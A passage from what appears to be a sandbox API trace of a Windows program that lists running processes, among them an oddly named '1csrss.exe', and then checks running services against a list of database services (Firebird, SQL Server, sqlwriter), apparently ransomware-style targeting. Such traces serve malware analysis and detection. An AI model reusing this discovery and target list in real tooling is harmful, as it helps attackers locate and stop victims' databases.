th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0292.221] lstrlenW (lpString="sihost.exe") returned 10 [0292.221] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.222] lstrlenW (lpString="svchost.exe") returned 11 [0292.222] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0292.222] lstrlenW (lpString="taskhostw.exe") returned 13 [0292.222] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0292.223] lstrlenW (lpString="msoia.exe") returned 9 [0292.223] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x9f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0292.224] lstrlenW (lpString="explorer.exe") returned 12 [0292.224] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x820, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0292.228] lstrlenW (lpString="SearchUI.exe") returned 12 [0292.228] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0292.229] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0292.229] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0292.230] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0292.230] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0xa08, pcPriClassBase=8, dwFlags=0x0, szExeFile="1csrss.exe")) returned 1 [0292.230] lstrlenW (lpString="1csrss.exe") returned 10 [0292.230] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0292.231] lstrlenW (lpString="svchost.exe") returned 11 [0292.231] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0292.232] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0292.232] Process32NextW (in: hSnapshot=0x50c, lppe=0x25ffd2c | out: lppe=0x25ffd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x940, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 0 [0292.232] CloseHandle (hObject=0x50c) returned 1 [0292.232] Sleep (dwMilliseconds=0x1f4) [0292.744] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7ddc00 [0292.744] EnumServicesStatusExW (in: hSCManager=0x7ddc00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 0 [0292.744] GetLastError () returned 0xea [0292.744] RtlAllocateHeap (HeapHandle=0x6e0000, Flags=0x0, Size=0x1d08) returned 0x4568fb8 [0292.744] EnumServicesStatusExW (in: hSCManager=0x7ddc00, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4568fb8, cbBufSize=0x1d08, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4568fb8, pcbBytesNeeded=0x25fff3c, lpServicesReturned=0x25fff54, lpResumeHandle=0x0) returned 1 [0292.745] CloseServiceHandle (hSCObject=0x7ddc00) returned 1 [0292.745] lstrlenW (lpString="AppXSvc") returned 7 [0292.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0292.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0292.745] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0292.745] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0292.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0292.745] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0292.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0292.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0292.745] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0292.746] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0292.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0292.746] lstrlenW (lpString="Audiosrv") returned 8 [0292.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0292.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0292.746] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0292.746] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0292.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0292.746] lstrlenW (lpString="BFE") returned 3 [0292.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0292.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0292.746] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0292.746] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0292.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0292.746] lstrlenW (lpString="BITS") returned 4 [0292.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0292.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0292.746] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0292.746] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0292.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0292.746] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0292.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0292.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0292.746] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0292.746] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0292.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0292.746] lstrlenW (lpString="CDPSvc") returned 6 [0292.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0292.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0292.746] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0292.747] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0292.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0292.747] lstrlenW (lpString="ClickToRunSvc") returned 13 [0292.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0292.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0292.747] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0292.747] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0292.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0292.747] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0292.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0292.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0292.747] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0292.747] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0292.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0292.747] lstrlenW (lpString="CryptSvc") returned 8 [0292.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0292.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0292.747] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0292.747] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0292.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0292.747] lstrlenW (lpString="DcomLaunch") returned 10 [0292.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0292.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0292.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0292.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0292.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0292.747] lstrlenW (lpString="DeviceAssociationService") returned 24 [0292.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0292.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0292.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0292.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0292.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0292.748] lstrlenW (lpString="Dhcp") returned 4 [0292.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0292.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0292.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0292.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0292.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0292.748] lstrlenW (lpString="Dnscache") returned 8 [0292.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0292.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0292.748] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0292.748] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0292.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0292.748] lstrlenW (lpString="DoSvc") returned 5 [0292.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0292.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0292.748] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0292.748] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0292.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0292.748] lstrlenW (lpString="DPS") returned 3 [0292.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0292.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0292.748] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0292.748] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0292.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0292.748] lstrlenW (lpString="DusmSvc") returned 7 [0292.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0292.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0292.748] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0292.748] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0292.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0292.748] lstrlenW (lpString="EventLog") returned 8 [0292.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0292.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0292.749] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0292.749] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0292.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0292.749] lstrlenW (lpString="EventSystem") returned 11 [0292.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0292.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0292.749] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0292.749] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0292.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0292.749] lstrlenW (lpString="FontCache") returned 9 [0292.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0292.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0292.749] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0292.749] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0292.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0292.749] lstrlenW (lpString="gpsvc") returned 5 [0292.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0292.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0292.749] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0292.749] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0292.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0292.749] lstrlenW (lpString="iphlpsvc") returned 8 [0292.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0292.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0292.749] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0292.749] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0292.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0292.749] lstrlenW (lpString="KeyIso") returned 6 [0292.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0292.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0292.749] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0292.749] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0292.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0292.750] lstrlenW (lpString="LanmanServer") returned 12 [0292.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0292.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0292.750] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0292.750] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0292.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0292.750] lstrlenW (lpString="LanmanWorkstation") returned 17 [0292.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0292.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0292.750] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0292.750] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0292.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0292.750] lstrlenW (lpString="lfsvc") returned 5 [0292.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0292.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0292.750] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0292.750] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0292.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0292.750] lstrlenW (lpString="lmhosts") returned 7 [0292.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0292.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0292.750] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0292.750] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0292.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0292.750] lstrlenW (lpString="LSM") returned 3 [0292.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0292.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0292.750] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0292.750] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0292.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0292.750] lstrlenW (lpString="MpsSvc") returned 6 [0292.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0292.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0292.751] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0292.751] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0292.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0292.751] lstrlenW (lpString="NcbService") returned 10 [0292.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0292.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0292.751] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0292.751] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0292.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0292.751] lstrlenW (lpString="netprofm") returned 8 [0292.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0292.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0292.751] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0292.751] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0292.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0292.751] lstrlenW (lpString="NgcSvc") returned 6 [0292.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0292.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0292.751] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0292.751] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0292.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0292.751] lstrlenW (lpString="NlaSvc") returned 6 [0292.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0292.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0292.751] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0292.751] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0292.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0292.751] lstrlenW (lpString="nsi") returned 3 [0292.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0292.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0292.751] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0292.751] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0292.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0292.752] lstrlenW (lpString="PcaSvc") returned 6 [0292.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0292.752] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0292.752] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0292.752] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0292.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0292.753] lstrlenW (lpString="PlugPlay") returned 8 [0292.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0292.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0292.753] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0292.753] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0292.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0292.753] lstrlenW (lpString="Power") returned 5 [0292.753] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0292.753] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0292.753] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0292.753] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0292.753] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0292.753] lstrlenW (lpString="ProfSvc") returned 7 [0292.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0292.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0292.754] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0292.754] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0292.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0292.754] lstrlenW (lpString="RpcEptMapper") returned 12 [0292.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0292.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0292.754] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0292.754] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0292.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0292.754] lstrlenW (lpString="RpcSs") returned 5 [0292.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0292.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0292.754] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0292.754] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0292.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0292.754] lstrlenW (lpString="SamSs") returned 5 [0292.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0292.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0292.754] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0292.754] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0292.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0292.754] lstrlenW (lpString="Schedule") returned 8 [0292.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0292.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0292.754] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0292.754] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0292.754] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0292.754] lstrlenW (lpString="SecurityHealthService") returned 21 [0292.754] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0292.754] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0292.754] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0292.755] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0292.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0292.755] lstrlenW (lpString="SENS") returned 4 [0292.755] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0292.755] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0292.755] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0292.755] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0292.755] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0292.755] lstrlenW (lpString="ShellHWDetection") returned 16 [0292.755] lstrcmpiW 